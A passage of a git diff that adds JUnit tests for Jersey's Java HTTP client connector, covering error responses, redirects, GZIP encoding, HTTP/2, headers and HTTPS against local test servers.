+ @Path("entity")
+ @POST
+ public Response postWithEntity(String entity) {
+ return Response.serverError().entity("error").build();
+ }
+ }
+
+ @Test
+ public void testPostError() {
+ final WebTarget target = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ final Response resp = target.request().post(Entity.text("POST"));
+ assertEquals(500, resp.getStatus());
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntity() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorAsync() throws ExecutionException, InterruptedException {
+ final WebTarget target = target("test");
+
+ final List<Future<Response>> responses = new ArrayList<>(100);
+
+ for (int i = 0; i < 100; i++) {
+ responses.add(target.request().async().post(Entity.text("POST")));
+ }
+ for (int i = responses.size() - 1; i >= 0;) {
+ if (responses.get(i).isDone()) {
+ assertEquals(500, responses.remove(i).get().getStatus());
+ i--;
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntityAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java
new file mode 100644
index 0000000..b6119f5
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.lang.reflect.Constructor;
+
+class FirstByteCachingStreamTest {
+ private static InputStream createFirstByteCachingStream(InputStream inner) throws Exception {
+ Class[] classes = JavaNetHttpConnector.class.getDeclaredClasses();
+ for (Class<?> clazz : classes) {
+ if (clazz.getName().contains("FirstByteCachingStream")) {
+ Constructor constructor = clazz.getDeclaredConstructor(InputStream.class);
+ constructor.setAccessible(true);
+ return (InputStream) constructor.newInstance(inner);
+ }
+ }
+ throw new IllegalArgumentException("JavaNetHttpConnector inner class FirstByteCachingStream not found");
+ }
+
+ @Test
+ void testNoByte() throws Exception {
+ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[0]);
+ InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+ Assertions.assertEquals(0, testIs.available());
+ }
+
+ @Test
+ void testOneByte() throws Exception {
+ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A'});
+ InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+ Assertions.assertEquals(1, testIs.available());
+ Assertions.assertEquals(1, testIs.available()); // idempotency
+ Assertions.assertEquals('A', testIs.read());
+ Assertions.assertEquals(0, testIs.available());
+ }
+
+ @Test
+ void testTwoBytes() throws Exception {
+ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A', 'B'});
+ InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+ Assertions.assertEquals(2, testIs.available());
+ Assertions.assertEquals(2, testIs.available()); // idempotency
+ Assertions.assertEquals('A', testIs.read());
+ Assertions.assertEquals(1, testIs.available());
+ Assertions.assertEquals(1, testIs.available()); // idempotency
+ Assertions.assertEquals('B', testIs.read());
+ Assertions.assertEquals(0, testIs.available());
+ }
+
+ @Test
+ void testTwoBytesReadAtOnce() throws Exception {
+ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A', 'B'});
+ InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+ Assertions.assertEquals(2, testIs.available());
+
+ byte[] bytes = new byte[2];
+ testIs.read(bytes);
+ Assertions.assertEquals('A', bytes[0]);
+ Assertions.assertEquals('B', bytes[1]);
+ Assertions.assertEquals(0, testIs.available());
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java
new file mode 100644
index 0000000..f6432a3
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+
+public class FollowRedirectsTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+ @Path("/test")
+ public static class RedirectResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("redirect")
+ public Response redirect() {
+ return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(RedirectResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ private static class RedirectTestFilter implements ClientResponseFilter {
+ public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+ @Override
+ public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+ if (responseContext instanceof ClientResponse) {
+ ClientResponse clientResponse = (ClientResponse) responseContext;
+ responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+ }
+ }
+ }
+
+ @Test
+ public void testDoFollow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ Response r = t.path("test/redirect")
+ .register(RedirectTestFilter.class)
+ .request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+// TODO uncomment as part of JERSEY-2388 fix.
+// assertEquals(
+// UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
+// r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
+
+ c.close();
+ }
+
+ @Test
+ public void testDoFollowPerRequestOverride() {
+ WebTarget t = target("test/redirect");
+ t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+ Response r = t.request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDontFollow() {
+ WebTarget t = target("test/redirect");
+ assertEquals(303, t.request().get().getStatus());
+ }
+
+ @Test
+ public void testDontFollowPerRequestOverride() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget t = client.target(u);
+ t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ Response r = t.path("test/redirect").request().get();
+ assertEquals(303, r.getStatus());
+ client.close();
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java
new file mode 100644
index 0000000..8d94f25
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class GZIPContentEncodingTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(GZIPContentEncodingTest.class.getName());
+
+ @Path("/")
+ public static class Resource {
+
+ @POST
+ public byte[] post(byte[] content) {
+ return content;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(Resource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(GZipEncoder.class);
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target();
+ byte[] content = new byte[1024 * 1024];
+ content[0] = 1;
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+ assertTrue(cr.hasEntity());
+ cr.close();
+ }
+
+ @Test
+ public void testPostChunked() {
+ ClientConfig config = new ClientConfig();
+ config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.text("POST"));
+ assertTrue(cr.hasEntity());
+ cr.close();
+
+ client.close();
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java
new file mode 100644
index 0000000..5143ec7
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HelloWorldTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+ private static final String ROOT_PATH = "helloworld";
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ @Test
+ public void testConnection() {
+ Response response = target().path(ROOT_PATH).request("text/plain").get();
+ assertEquals(200, response.getStatus());
+ }
+
+ @Test
+ public void testClientStringResponse() {
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ }
+
+ @Test
+ public void testAsyncClientRequests() throws InterruptedException {
+ final int REQUESTS = 20;
+ final CountDownLatch latch = new CountDownLatch(REQUESTS);
+ final long tic = System.currentTimeMillis();
+ for (int i = 0; i < REQUESTS; i++) {
+ final int id = i;
+ target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
+ @Override
+ public void completed(Response response) {
+ try {
+ final String result = response.readEntity(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+ } finally {
+ latch.countDown();
+ }
+ }
+
+ @Override
+ public void failed(Throwable error) {
+ error.printStackTrace();
+ latch.countDown();
+ }
+ });
+ }
+ latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+ final long toc = System.currentTimeMillis();
+ Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+ }
+
+ @Test
+ public void testHead() {
+ Response response = target().path(ROOT_PATH).request().head();
+ assertEquals(200, response.getStatus());
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals("foo/bar", response.getMediaType().toString());
+ assertEquals(0, response.getLength());
+ }
+
+ @Test
+ public void testTextPlainOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ final String responseBody = response.readEntity(String.class);
+ _checkAllowContent(responseBody);
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+ @Test
+ public void testMissingResourceNotFound() {
+ Response response;
+
+ response = target().path(ROOT_PATH + "arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+
+ response = target().path(ROOT_PATH).path("arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+ }
+
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java
new file mode 100644
index 0000000..a2eaa3b
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.net.http.HttpClient;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static java.net.http.HttpClient.Version.HTTP_2;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Tests the HTTP2 presence.
+ *
+ */
+public class Http2PresenceTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+
+ @GET
+ public String testUserAgent(@Context HttpHeaders httpHeaders) {
+ final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+ if (requestHeader.size() != 1) {
+ return "FAIL";
+ }
+ return requestHeader.get(0);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.property(JavaNetHttpClientProperties.HTTP_VERSION, HTTP_2).connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ @Test
+ public void testHttp2Presence() {
+ final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
+ assertTrue(provider instanceof JavaNetHttpConnectorProvider);
+
+ final HttpClient client = ((JavaNetHttpConnectorProvider) provider).getHttpClient(target());
+ assertEquals(HTTP_2, client.version());
+ }
+
+ /**
+ * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+ */
+ @Test
+ public void testUserAgent() {
+ String response = target().path("test").request().get(String.class);
+ assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+ }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java
new file mode 100644
index 0000000..550183c
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.util.List;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HttpHeadersTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @POST
+ public String post(
+ @HeaderParam("Transfer-Encoding") String transferEncoding,
+ @HeaderParam("X-CLIENT") String xClient,
+ @HeaderParam("X-WRITER") String xWriter,
+ String entity) {
+ assertEquals("client", xClient);
+ return "POST";
+ }
+
+ @GET
+ public String testUserAgent(@Context HttpHeaders httpHeaders) {
+ final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+ if (requestHeader.size() != 1) {
+ return "FAIL";
+ }
+ return requestHeader.get(0);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+ assertEquals(200, response.getStatus());
+ assertTrue(response.hasEntity());
+ }
+
+ /**
+ * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+ */
+ @Test
+ public void testUserAgent() {
+ String response = target().path("test").request().get(String.class);
+ assertTrue(response.startsWith("Jersey"),
+ "User-agent header should start with 'Jersey', but was " + response);
+ }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java
new file mode 100644
index 0000000..4f6a035
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import java.net.URI;
+import java.util.Optional;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class HttpsTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HttpsTest.class.getName());
+ private static final String ROOT_PATH = "test";
+
+ @Path(ROOT_PATH)
+ public static class Resource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+ }
+
+ @Override
+ protected TestContainerFactory getTestContainerFactory() {
+ return new GrizzlyTestContainerFactory();
+ }
+
+ @Override
+ protected URI getBaseUri() {
+ return UriBuilder.fromUri("https://localhost").port(getPort()).build();
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(Resource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected Optional<SSLContext> getSslContext() {
+ return Optional.of(SslUtils.createServerSslContext(true, true));
+ }
+
+ @Override
+ protected Optional<SSLParameters> getSslParameters() {
+ SSLParameters serverSslParameters = new SSLParameters();
+ serverSslParameters.setNeedClientAuth(true);
+ return Optional.of(serverSslParameters);
+ }
+
+ private SSLContext clientSslContext() {
+ return SslUtils.createClientSslContext(true, true);
+ }
+
+ @Test
+ public void testConnection() {
+ ClientConfig cc = new ClientConfig()
+ .connectorProvider(new JavaNetHttpConnectorProvider());
+ Client client = ClientBuilder.newBuilder()
+ .withConfig(cc)
+ .sslContext(clientSslContext())
+ .register(LoggingFeature.class)
+ .build();
+ Response response = client.target(getBaseUri()).path(ROOT_PATH).request().get();
+ assertEquals(200, response.getStatus());
+ assertEquals("GET", response.readEntity(String.class));
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java
new file mode 100644
index 0000000..8eca289
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
